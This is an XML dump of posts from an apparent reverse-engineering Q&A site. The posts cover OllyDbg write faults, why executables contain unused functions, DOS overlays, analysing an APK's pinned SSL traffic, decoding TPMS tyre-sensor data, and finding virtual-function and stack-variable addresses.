  <row Id="11426" PostTypeId="1" CreationDate="2015-11-28T10:22:38.077" Score="1" ViewCount="347" Body="&lt;p&gt;I am trying to analyze a game with OllyDbg.&#xA; However, when I click the main menu item it tries to write on address 0x00000000 which is a violation. When I try to skip this instruction by filling with NOPs, I soon encounter another instruction that happens to attempt the same dumb write.&#xA;Without being debugged by OllyDbg the game runs smoothly. What I am missing? Why does it fail like that in OllyDbg?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running Win7 x64, the game is in x86.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the first instruction that does it and the registers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0048B65C   . F3:A5          REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]&#xA;&#xA;EAX 00002000&#xA;ECX 00000800&#xA;EDX 00002000&#xA;EBX 02A700CC&#xA;ESP 0018F878&#xA;EBP 00002000&#xA;ESI 05A72034&#xA;EDI 00000000&#xA;EIP 0048B65C heroes4.0048B65C&#xA;C 0  ES 002B 32bit 0(FFFFFFFF)&#xA;P 1  CS 0023 32bit 0(FFFFFFFF)&#xA;A 1  SS 002B 32bit 0(FFFFFFFF)&#xA;Z 0  DS 002B 32bit 0(FFFFFFFF)&#xA;S 0  FS 0053 32bit 7EFDD000(FFF)&#xA;T 1  GS 002B 32bit 0(FFFFFFFF)&#xA;D 0&#xA;O 0  LastErr ERROR_SUCCESS (00000000)&#xA;EFL 00210316 (NO,NB,NE,A,NS,PE,GE,G)&#xA;ST0 empty -??? FFFF 00000000 00000000&#xA;ST1 empty -NAN FFFF FFFFFFFF FFFFFFFF&#xA;ST2 empty -??? FFFF 07E007E0 07E007E0&#xA;ST3 empty -1.0000000000000000000&#xA;ST4 empty 48000.000000000000000&#xA;ST5 empty 0.7071067690849304199&#xA;ST6 empty 0.2113374471664428711&#xA;ST7 empty 0.0&#xA;               3 2 1 0      E S P U O Z D I&#xA;FST 0130  Cond 0 0 0 1  Err 0 0 1 1 0 0 0 0  (LT)&#xA;FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14250" LastActivityDate="2015-11-29T08:09:05.890" Title="Getting writes on address 0x00000000 while in OllyDbg" Tags="|ollydbg|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11427" PostTypeId="2" ParentId="11416" CreationDate="2015-11-28T10:48:35.650" Score="5" Body="&lt;h1&gt;Unused functions in executables&lt;/h1&gt;&#xA;&lt;p&gt;There are various explanations for that.&lt;/p&gt;&#xA;&lt;p&gt;Obfuscation, as Itsbriany said, but i don't think that was much of a thing in old DOS executables.&lt;/p&gt;&#xA;&lt;p&gt;Unneeded library functions. If your code links in, for example, the math library (those old processors typically didn't have math coprocessors for floating point), you'll typically get all of the math emulation. Your program might use &lt;code&gt;sqrt&lt;/code&gt; for distance calculations, but never use &lt;code&gt;sin&lt;/code&gt;, &lt;code&gt;cos&lt;/code&gt; and similar trigonometrics, but they get linked in anway.&lt;/p&gt;&#xA;&lt;p&gt;Function pointers. If your original C program had something like    &lt;code&gt;int (*funcs())[]={func1, func2, func3};&lt;/code&gt;   &lt;code&gt;int result=(func[index])();&lt;/code&gt;&#xA;and these are the &lt;em&gt;only&lt;/em&gt; references to &lt;code&gt;func1&lt;/code&gt;, &lt;code&gt;func2&lt;/code&gt; and &lt;code&gt;func3&lt;/code&gt;, then ida won't recognize them as being used. However, you'd find a data xref in them.&lt;/p&gt;&#xA;&lt;p&gt;C++ object methods, although when C++ started getting used, 32 bit processors were already common and you'd compile your program to a 32 bit binary using a dos extender. If methods never get called directly, only through the vtable of a class, then the same thing applies as with function pointers.&lt;/p&gt;&#xA;&lt;p&gt;Debugging functions in the original source code that just never get called in the finished binary. If the programmer did something like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#ifdef DEBUG&#xA;some_function(parm1, parm2, another_parm);&#xA;#endif&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and forgot to put &lt;code&gt;some_function&lt;/code&gt; into &lt;code&gt;#ifdef&lt;/code&gt; as well, then the finished binary will still have &lt;code&gt;some_function&lt;/code&gt;, but no call to it.&lt;/p&gt;&#xA;&lt;p&gt;More than one programmer working on independent parts of the code. One programmer might have been assigned to the task of reading/writing a config file, and he implemented &lt;code&gt;read_config()&lt;/code&gt; and &lt;code&gt;write_config()&lt;/code&gt;. Later, someone decided that the game should only use &lt;code&gt;read_config()&lt;/code&gt;, and the configuration part should be done in a separate setup program. If both functions are in the same source file, they'll be compiled  into - and linked in from - one single object file anyway.&lt;/p&gt;&#xA;&lt;h1&gt;Overlays in old dos programs&lt;/h1&gt;&#xA;&lt;p&gt;I don't know about a good tutorial, but here's basic info about overlays:&lt;/p&gt;&#xA;&lt;p&gt;You needed to identify parts of your code that didn't require each other when running. For example, your program might have a bunch of functions to navigate a world map, a different bunch of functions to navigate a dungeon, and a third bunch of functions to interact with a shopkeeper.&lt;/p&gt;&#xA;&lt;p&gt;You'd compile those separately, so you get 4 files: &lt;code&gt;main_game.exe&lt;/code&gt;, &lt;code&gt;world.ovl&lt;/code&gt;, &lt;code&gt;dungeon.ovl&lt;/code&gt;, and &lt;code&gt;shopkeeper.ovl&lt;/code&gt;. (Oops, there was an 8 character limit to filenames.) &lt;code&gt;main_game.exe&lt;/code&gt; would be loaded into low ram, and calculate a segment for the overlays to load in - all at the same address. The easiest way to do this is make a segment that has only one variable, which gets loaded last - the address of that variable would be the address to load the overlays to. Let's name it &lt;code&gt;overlay_start&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To connect the main .exe to the overlays, each of the overlays would have a jump table at the start. For example, in world.ovl:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0000 jmp show_world_map&#xA;0004 jmp draw_player_on_world_map&#xA;0008 jmp draw_enemies_on_world_map&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and in dungeon.ovl:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0000 jmp show_dungeon_map&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now you needed a bunch of functions to link into your main program to call these overlay functions, which all looked basically the same:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;extern int (*overlay_start())[];&#xA;&#xA;void show_world_map() { load_overlay(&amp;quot;world.ovl&amp;quot;); overlay_start[0](); }&#xA;void draw_player_on_world_map() { load_overlay(&amp;quot;world.ovl&amp;quot;); overlay_start[1](); }    &#xA;void draw_enemies_on_world_map() { load_overlay(&amp;quot;world.ovl&amp;quot;); overlay_start[2](); }&#xA;&#xA;void show_dungeon_map() { load_overlay(&amp;quot;dungeon.ovl&amp;quot;); overlay_start[0](); }&#xA;....&#xA;&#xA;void load_overlay(char *filename) {&#xA;    /* omitting all the error checking, loops for more than 64KB, etc.) */&#xA;    FILE *fp=fopen(filename, &amp;quot;rb&amp;quot;);&#xA;    fread(overlay_start, 1, SOME_LARGE_NUMBER, fp);&#xA;    fclose(fp);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(I omitted the function parameters in this example to keep it concise).&lt;/p&gt;&#xA;&lt;p&gt;Depending on your compiler, much of that could be auto-generated. And these functions, possibly including the &lt;code&gt;load_overlay&lt;/code&gt; function, is typically what goes into the &lt;code&gt;stub&lt;/code&gt; section. It's just a bunch of functions that keep the linker happy when linking &lt;code&gt;main_game.exe&lt;/code&gt;, make sure the correct overlay is loaded, call the intended function, then return.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-11-28T10:48:35.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11428" PostTypeId="5" CreationDate="2015-11-28T15:54:21.647" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-11-28T15:54:21.647" LastActivityDate="2015-11-28T15:54:21.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11429" PostTypeId="4" CreationDate="2015-11-28T15:54:21.647" Score="0" Body="C standard library for the C programming language as specified in the C specification (ANSI C, C99, C11, ...)." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-11-28T15:54:21.647" LastActivityDate="2015-11-28T15:54:21.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11431" PostTypeId="1" CreationDate="2015-11-28T19:34:48.250" Score="3" ViewCount="1192" Body="&lt;p&gt;I wish to analyze the unencrypted data sent of SSL by an Android APK that uses certificate pinning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This suspicious APK is used to configure a wireless device.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to determine two things:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First, the WPA key the APK establishes with the device&lt;/li&gt;&#xA;&lt;li&gt;Then, the sequence of HTTPS API calls that the APK uses to configure the&#xA;device.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The configuration process is:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download obfuscated APK from company site&lt;/li&gt;&#xA;&lt;li&gt;Create account on their servers,  &lt;/li&gt;&#xA;&lt;li&gt;The APK then connects to the device SSID with a private WPA key   &lt;/li&gt;&#xA;&lt;li&gt;There is a native .so that does some calculation of the key&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The HTTPS sessions to the Internet server use a fixed certificate, attempting to proxy results in a certificate error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to use an emulation environment, and hook the library calls (similar to what &quot;Droidbox&quot; appeared to do), but I can't find a more recent version.&lt;/p&gt;&#xA;" OwnerUserId="13954" LastEditorUserId="12325" LastEditDate="2016-02-02T15:28:55.380" LastActivityDate="2020-03-08T20:49:22.793" Title="Android (4.4+) SSL wireless sniffing without certificate changing" Tags="|android|apk|https-protocol|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11432" PostTypeId="1" CreationDate="2015-11-28T19:52:16.973" Score="2" ViewCount="694" Body="&lt;p&gt;I'm trying to reverse engineer data received from TPMS (car tyre pressure) sensors. I used &lt;code&gt;rtl_433&lt;/code&gt; tool to capture the data from sensor at 433 MHz. Tool was able to detect data is using FSK modulation and Manchester encoding. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;reveng&lt;/code&gt; I confirmed that end of data consists of 8 bit CRC. At the beginning is 32-bit sensor id, then there should be tyre pressure, temperature data and at least few status bits (together 5 bytes of unknown data). I'm not sure if these data are 8/10/16 bits each, nor their endianess or int/float. I have made a simple PHP script to try several combinations, but didn't get meaningful values with any of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sensor IDs are: &lt;code&gt;1c/1d/1e/1f e0 ed a5&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output from &lt;code&gt;reveng -a 4 -w 8 -s&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;width=8  poly=0x07  init=0xd3  refin=false  refout=false  xorout=0x00  check=0xd4  name=(none)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tyre pressures as shown on car display were from 211 kPa in the beginning to 220 kPa at the end after few minutes of driving. Outside temperature was about 5 degC, so final tyre temp could be maybe 15-20 degC at the end, so the question is how to decode the data get these values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is data from 4 sensors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 00 1f e0 ed a5 42 d5 66 c7 f1 10 80&#xA;00 00 1f e0 ed a5 42 d4 66 c7 f1 06 80&#xA;00 00 1f e0 ed a5 44 d6 66 c7 e4 0a 80&#xA;00 00 1f e0 ed a5 44 d4 66 c7 e4 26 80&#xA;00 00 1f e0 ed a5 55 d4 68 c8 da 23 80&#xA;00 00 1e e0 ed a5 42 d5 66 c7 db bf 80&#xA;00 00 1e e0 ed a5 41 d6 65 c8 cb 2d 80&#xA;00 00 1e e0 ed a5 41 d5 65 c8 cb 17 80&#xA;00 00 1e e0 ed a5 55 d5 68 c8 f7 8f 80&#xA;00 00 1e e0 ed a5 55 d4 68 c8 f7 99 80&#xA;00 00 1d e0 ed a5 44 d6 66 c7 f7 81 80&#xA;00 00 1d e0 ed a5 41 d5 64 c8 eb 17 80&#xA;00 00 1d e0 ed a5 55 d5 68 c8 da c7 80&#xA;00 00 1d e0 ed a5 42 d5 65 c7 c8 f0 80&#xA;00 00 1d e0 ed a5 42 d4 65 c7 c8 e6 80&#xA;00 00 1c e0 ed a5 44 d5 65 c8 d9 76 80&#xA;00 00 1c e0 ed a5 41 d4 64 c8 d3 d0 80&#xA;00 00 1c e0 ed a5 55 d6 67 c8 df d8 80&#xA;00 00 1c e0 ed a5 55 d5 67 c8 df e2 80&#xA;00 00 1c e0 ed a5 55 d4 67 c8 df f4 80&#xA;00 00 1c e0 ed a5 42 d6 65 c7 ef 46 80&#xA;00 00 1c e0 ed a5 42 d5 65 c7 ef 7c 80&#xA;00 00 1c e0 ed a5 42 d4 65 c7 ef 6a 80&#xA;00 00 1f e0 ed a5 44 d6 65 c7 f3 d2 80&#xA;00 00 1f e0 ed a5 44 d4 65 c7 f3 fe 80&#xA;00 00 1f e0 ed a5 41 d5 64 c8 f6 b6 80&#xA;00 00 1f e0 ed a5 41 d4 64 c8 f6 a0 80&#xA;00 00 1f e0 ed a5 42 d6 65 c7 f9 af 80&#xA;00 00 1f e0 ed a5 42 d4 65 c7 f9 83 80&#xA;00 00 1e e0 ed a5 42 d6 64 c7 f7 97 80&#xA;00 00 1e e0 ed a5 42 d5 64 c7 f7 ad 80&#xA;00 00 1e e0 ed a5 42 d4 64 c7 f7 bb 80&#xA;00 00 1f e0 ed a5 55 d6 67 c8 f5 85 80&#xA;00 00 1f e0 ed a5 55 d5 67 c8 f5 bf 80&#xA;00 00 1d e0 ed a5 42 d5 64 c7 f3 3a 80&#xA;00 00 1d e0 ed a5 42 d4 64 c7 f3 2c 80&#xA;00 00 1e e0 ed a5 44 d6 64 c7 f4 d5 80&#xA;00 00 1e e0 ed a5 44 d5 64 c7 f4 ef 80&#xA;00 00 1e e0 ed a5 44 d4 64 c7 f4 f9 80&#xA;00 00 1e e0 ed a5 41 d4 64 c8 f6 d9 80&#xA;00 00 1e e0 ed a5 55 d6 67 c8 f7 f2 80&#xA;00 00 1c e0 ed a5 42 d5 64 c7 f3 43 80&#xA;00 00 1d e0 ed a5 44 d6 64 c7 f4 5e 80&#xA;00 00 1d e0 ed a5 44 d5 64 c7 f4 64 80&#xA;00 00 1d e0 ed a5 55 d6 68 c8 f5 30 80&#xA;00 00 1d e0 ed a5 55 d5 68 c8 f5 0a 80&#xA;00 00 1d e0 ed a5 55 d4 68 c8 f5 1c 80&#xA;00 00 1f e0 ed a5 42 d5 65 c7 f4 b6 80&#xA;00 00 1c e0 ed a5 44 d6 65 c7 f5 4b 80&#xA;00 00 1c e0 ed a5 44 d4 65 c7 f5 67 80&#xA;00 00 1c e0 ed a5 41 d6 64 c8 f2 1b 80&#xA;00 00 1c e0 ed a5 41 d5 64 c8 f2 21 80&#xA;00 00 1c e0 ed a5 41 d4 64 c8 f2 37 80&#xA;00 00 1c e0 ed a5 55 d6 67 c8 ed 46 80&#xA;00 00 1c e0 ed a5 55 d5 67 c8 ed 7c 80&#xA;00 00 1e e0 ed a5 42 d5 64 c7 f3 b1 80&#xA;00 00 1e e0 ed a5 42 d4 64 c7 f3 a7 80&#xA;00 00 1f e0 ed a5 44 d6 64 c7 f3 b9 80&#xA;00 00 1f e0 ed a5 44 d5 64 c7 f3 83 80&#xA;00 00 1f e0 ed a5 44 d4 64 c7 f3 95 80&#xA;00 00 1f e0 ed a5 41 d5 64 c8 ed f7 80&#xA;00 00 1f e0 ed a5 41 d4 64 c8 ed e1 80&#xA;00 00 1f e0 ed a5 55 d4 67 c8 ea f4 80&#xA;00 00 1d e0 ed a5 42 d6 64 c7 dc cd 80&#xA;00 00 1d e0 ed a5 42 d4 64 c7 dc e1 80&#xA;00 00 1e e0 ed a5 44 d6 64 c7 da 1f 80&#xA;00 00 1e e0 ed a5 44 d5 64 c7 da 25 80&#xA;00 00 1e e0 ed a5 44 d4 64 c7 da 33 80&#xA;00 00 1e e0 ed a5 41 d4 64 c7 f4 14 80&#xA;00 00 1e e0 ed a5 55 d6 67 c8 f2 e9 80&#xA;00 00 1e e0 ed a5 55 d5 67 c8 f2 d3 80&#xA;00 00 1c e0 ed a5 42 d6 63 c7 c3 ff 80&#xA;00 00 1c e0 ed a5 42 d5 63 c7 c3 c5 80&#xA;00 00 1c e0 ed a5 42 d4 63 c7 c3 d3 80&#xA;00 00 1d e0 ed a5 41 d6 63 c7 dd 7a 80&#xA;00 00 1d e0 ed a5 41 d4 63 c7 dd 56 80&#xA;00 00 1d e0 ed a5 55 d6 67 c8 e0 1c 80&#xA;00 00 1d e0 ed a5 55 d5 67 c8 e0 26 80&#xA;00 00 1f e0 ed a5 42 d6 64 c6 d6 1c 80&#xA;00 00 1c e0 ed a5 44 d6 63 c7 d9 f2 80&#xA;00 00 1c e0 ed a5 44 d4 63 c7 d9 de 80&#xA;00 00 1c e0 ed a5 41 d6 63 c8 d4 ff 80&#xA;00 00 1c e0 ed a5 41 d5 63 c8 d4 c5 80&#xA;00 00 1c e0 ed a5 55 d4 67 c8 d6 cb 80&#xA;00 00 1f e0 ed a5 44 d6 64 c7 d3 59 80&#xA;00 00 1e e0 ed a5 42 d5 64 c6 d4 51 80&#xA;00 00 1f e0 ed a5 41 d6 63 c7 e9 04 80&#xA;00 00 1f e0 ed a5 41 d4 63 c7 e9 28 80&#xA;00 00 1f e0 ed a5 55 d6 67 c8 eb df 80&#xA;00 00 1f e0 ed a5 55 d4 67 c8 eb f3 80&#xA;00 00 1e e0 ed a5 44 d6 63 c7 9d db 80&#xA;00 00 1e e0 ed a5 44 d5 63 c7 9d e1 80&#xA;00 00 1d e0 ed a5 42 d4 63 c6 9a 37 80&#xA;00 00 1e e0 ed a5 41 d6 63 c7 d6 c0 80&#xA;00 00 1e e0 ed a5 41 d5 63 c7 d6 fa 80&#xA;00 00 1e e0 ed a5 55 d6 66 c8 cf 31 80&#xA;00 00 1e e0 ed a5 55 d5 66 c8 cf 0b 80&#xA;00 00 1d e0 ed a5 44 d6 62 c7 f4 23 80&#xA;00 00 1d e0 ed a5 44 d5 62 c7 f4 19 80&#xA;00 00 1c e0 ed a5 42 d6 63 c6 f5 68 80&#xA;00 00 1c e0 ed a5 42 d5 63 c6 f5 52 80&#xA;00 00 1c e0 ed a5 42 d4 63 c6 f5 44 80&#xA;00 00 1d e0 ed a5 41 d6 63 c7 df 74 80&#xA;00 00 1c e0 ed a5 55 d4 66 c8 f7 47 80&#xA;00 00 1c e0 ed a5 41 d5 63 c7 f5 e1 80&#xA;00 00 1c e0 ed a5 44 d6 64 c6 e4 42 80&#xA;00 00 1f e0 ed a5 42 d6 5f c6 d4 1f 80&#xA;00 00 1f e0 ed a5 42 d5 5f c6 d4 25 80&#xA;00 00 1f e0 ed a5 42 d4 5f c6 d4 33 80&#xA;00 00 1f e0 ed a5 55 d6 67 c8 eb df 80&#xA;00 00 1f e0 ed a5 41 d6 61 c7 dd 5e 80&#xA;00 00 1f e0 ed a5 41 d5 61 c7 dd 64 80&#xA;00 00 1f e0 ed a5 41 d4 61 c7 dd 72 80&#xA;00 00 1e e0 ed a5 42 d4 62 c6 f2 c8 80&#xA;00 00 1e e0 ed a5 55 d6 66 c8 e4 e0 80&#xA;00 00 1e e0 ed a5 55 d5 66 c8 e4 da 80&#xA;00 00 1e e0 ed a5 55 d4 66 c8 e4 cc 80&#xA;00 00 1e e0 ed a5 41 d4 62 c7 e2 0b 80&#xA;00 00 1e e0 ed a5 44 d6 63 c6 f5 d1 80&#xA;00 00 1e e0 ed a5 44 d4 63 c6 f5 fd 80&#xA;00 00 1d e0 ed a5 42 d6 60 c6 e4 db 80&#xA;00 00 1d e0 ed a5 42 d5 60 c6 e4 e1 80&#xA;00 00 1d e0 ed a5 42 d4 60 c6 e4 f7 80&#xA;00 00 1d e0 ed a5 41 d6 62 c6 f4 db 80&#xA;00 00 1d e0 ed a5 41 d5 62 c6 f4 e1 80&#xA;00 00 1d e0 ed a5 41 d4 62 c6 f4 f7 80&#xA;00 00 1d e0 ed a5 44 d5 63 c6 f3 72 80&#xA;00 00 1d e0 ed a5 44 d4 63 c6 f3 64 80&#xA;00 00 1c e0 ed a5 42 d6 61 c5 ef c7 80&#xA;00 00 1c e0 ed a5 44 d5 62 c6 c6 eb 80&#xA;00 00 1f e0 ed a5 42 d5 61 c5 dd e8 80&#xA;00 00 1f e0 ed a5 42 d4 61 c5 dd fe 80&#xA;00 00 1f e0 ed a5 41 d6 62 c7 f1 27 80&#xA;00 00 1f e0 ed a5 41 d5 62 c7 f1 1d 80&#xA;00 00 1f e0 ed a5 41 d4 62 c7 f1 0b 80&#xA;00 00 1f e0 ed a5 44 d6 62 c5 d6 15 80&#xA;00 00 1f e0 ed a5 44 d4 62 c5 d6 39 80&#xA;00 00 1e e0 ed a5 42 d5 61 c5 9f 58 80&#xA;00 00 1e e0 ed a5 42 d4 61 c5 9f 4e 80&#xA;00 00 1c e0 ed a5 55 d5 65 c7 85 76 80&#xA;00 00 1e e0 ed a5 41 d6 62 c6 ca ea 80&#xA;00 00 1e e0 ed a5 41 d4 62 c6 ca c6 80&#xA;00 00 1e e0 ed a5 44 d5 61 c6 f3 2f 80&#xA;00 00 1d e0 ed a5 42 d6 60 c5 f0 88 80&#xA;00 00 1d e0 ed a5 42 d5 60 c5 f0 b2 80&#xA;00 00 1d e0 ed a5 42 d4 60 c5 f0 a4 80&#xA;00 00 1f e0 ed a5 55 d5 65 c7 e8 f9 80&#xA;00 00 1d e0 ed a5 41 d6 61 c6 ec 2e 80&#xA;00 00 1d e0 ed a5 41 d5 61 c6 ec 14 80&#xA;00 00 1d e0 ed a5 41 d4 61 c6 ec 02 80&#xA;00 00 1d e0 ed a5 44 d5 62 c5 ea 69 80&#xA;00 00 1d e0 ed a5 44 d4 62 c5 ea 7f 80&#xA;00 00 1c e0 ed a5 42 d6 5c c4 ea b9 80&#xA;00 00 1c e0 ed a5 42 d4 5c c4 ea 95 80&#xA;00 00 1e e0 ed a5 55 d5 65 c7 e2 b6 80&#xA;00 00 1c e0 ed a5 41 d6 61 c6 e4 6f 80&#xA;00 00 1c e0 ed a5 41 d4 61 c6 e4 43 80&#xA;00 00 1c e0 ed a5 44 d6 61 c5 e6 b3 80&#xA;00 00 1c e0 ed a5 44 d5 61 c5 e6 89 80&#xA;00 00 1c e0 ed a5 44 d4 61 c5 e6 9f 80&#xA;00 00 1f e0 ed a5 42 d6 61 c4 dd c7 80&#xA;00 00 1f e0 ed a5 42 d4 61 c4 dd eb 80&#xA;00 00 1d e0 ed a5 55 d5 65 c7 d3 aa 80&#xA;00 00 1d e0 ed a5 55 d4 65 c7 d3 bc 80&#xA;00 00 1f e0 ed a5 41 d6 61 c6 da 5e 80&#xA;00 00 1f e0 ed a5 41 d5 61 c6 da 64 80&#xA;00 00 1f e0 ed a5 44 d5 61 c5 ec 34 80&#xA;00 00 1e e0 ed a5 42 d6 60 c4 e9 59 80&#xA;00 00 1e e0 ed a5 42 d4 60 c4 e9 75 80&#xA;00 00 1e e0 ed a5 41 d6 62 c6 d6 be 80&#xA;00 00 1e e0 ed a5 41 d5 62 c6 d6 84 80&#xA;00 00 1e e0 ed a5 44 d6 61 c5 d9 fc 80&#xA;00 00 1e e0 ed a5 44 d4 61 c5 d9 d0 80&#xA;00 00 1d e0 ed a5 42 d6 60 c3 de 3c 80&#xA;00 00 1d e0 ed a5 42 d5 60 c3 de 06 80&#xA;00 00 1d e0 ed a5 42 d4 60 c3 de 10 80&#xA;00 00 1d e0 ed a5 41 d6 61 c6 e2 04 80&#xA;00 00 1d e0 ed a5 44 d5 61 c5 df 5f 80&#xA;00 00 1d e0 ed a5 44 d4 61 c5 df 49 80&#xA;00 00 1c e0 ed a5 42 d6 5f c4 d8 9a 80&#xA;00 00 1c e0 ed a5 42 d5 5f c4 d8 a0 80&#xA;00 00 1c e0 ed a5 42 d4 5f c4 d8 b6 80&#xA;00 00 1f e0 ed a5 55 d6 65 c7 d8 53 80&#xA;00 00 1f e0 ed a5 55 d4 65 c7 d8 7f 80&#xA;00 00 1c e0 ed a5 41 d6 61 c6 dc c7 80&#xA;00 00 1c e0 ed a5 41 d5 61 c6 dc fd 80&#xA;00 00 1c e0 ed a5 41 d4 61 c6 dc eb 80&#xA;00 00 1c e0 ed a5 44 d6 61 c5 df 1c 80&#xA;00 00 1c e0 ed a5 44 d5 61 c5 df 26 80&#xA;00 00 1c e0 ed a5 44 d4 61 c5 df 30 80&#xA;00 00 1f e0 ed a5 42 d5 60 c3 e6 5c 80&#xA;00 00 1f e0 ed a5 42 d4 60 c3 e6 4a 80&#xA;00 00 1e e0 ed a5 55 d5 65 c7 e6 aa 80&#xA;00 00 1f e0 ed a5 41 de 61 c6 f7 2d 80&#xA;00 00 1f e0 ed a5 41 dd 61 c6 f7 17 80&#xA;00 00 1f e0 ed a5 41 dc 61 c6 f7 01 80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; The question is how to decode temperature &amp;amp; pressure from the received data.&lt;/p&gt;&#xA;" OwnerUserId="13063" LastEditorUserId="13063" LastEditDate="2015-12-01T09:11:54.743" LastActivityDate="2015-12-01T09:11:54.743" Title="Reverse engineering TPMS sensor data" Tags="|binary-analysis|decryption|encodings|protocol|" AnswerCount="0" CommentCount="1" ClosedDate="2015-11-29T19:25:59.903" ContentLicense="CC BY-SA 3.0" />
  <row Id="11435" PostTypeId="1" CreationDate="2015-11-30T00:52:17.957" Score="2" ViewCount="389" Body="&lt;p&gt;I have address of virtual function in export table , is it possible to get implementation function address, that makes whole logic of virtual ? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Code sample:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is virtual function that goes to export table&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CORE_API FArchive&#xA;{&#xA;public:&#xA;    virtual ~FArchive()&#xA;    {}&#xA;    virtual void messageboxer(char* messagetext){}&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is virtual function implementation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class FArchiveFileReader : public FArchive&#xA;{&#xA;public:&#xA;&#xA;    void messageboxer(char* messagetext)&#xA;    {&#xA;        MessageBoxA(0, messagetext, &quot;alert&quot;, MB_ICONERROR);&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in export table goes only virtual - like that ?&lt;code&gt;messageboxer@FArchive@@UAEXPAD@Z&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i go on that address(in memmory via debugger) i get this &#xA;&lt;a href=&quot;https://i.stack.imgur.com/se3Tb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/se3Tb.png&lt;/a&gt; - i dont see there nothing usefull, like jmp or call.&#xA;and this &lt;a href=&quot;https://i.stack.imgur.com/ZmKgV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/ZmKgV.png&lt;/a&gt; is where function implementation is, is it connected somehow ? so i can calculate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or having virtual function address from export table - is nothing, in terms of getting address of function(with actual logic) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so - can someone give me an simple and good article describing on how to get address of actual function(not virtual).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.&#xA;And sorry if i talk little strange, english isnt my common language, if you think that some place in my text is unclear, pls tell me where and i would try to explain better !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope someoe would help me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx!&lt;/p&gt;&#xA;" OwnerUserId="14279" LastEditorUserId="14279" LastEditDate="2015-11-30T00:57:38.417" LastActivityDate="2015-11-30T00:57:38.417" Title="Is it possible to get address of function that implement virtual" Tags="|c++|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11436" PostTypeId="1" CreationDate="2015-11-30T01:58:27.517" Score="0" ViewCount="3370" Body="&lt;p&gt;For ELF binaries on Linux, if the executable is not stripped, it is possible to recover memory locations of location variables in the form of relative addresses to stack/frame pointer? As an example, if a C program contains an integer variable &lt;code&gt;var&lt;/code&gt; in function &lt;code&gt;main&lt;/code&gt;, is there any means to associate its address on stack, say &lt;code&gt;[rbp-0x18]&lt;/code&gt; to the source variable itself?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="13634" LastEditDate="2015-11-30T08:17:19.807" LastActivityDate="2016-12-30T10:54:07.627" Title="Obtaining memory locations of local variables" Tags="|binary-analysis|stack-variables|local-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
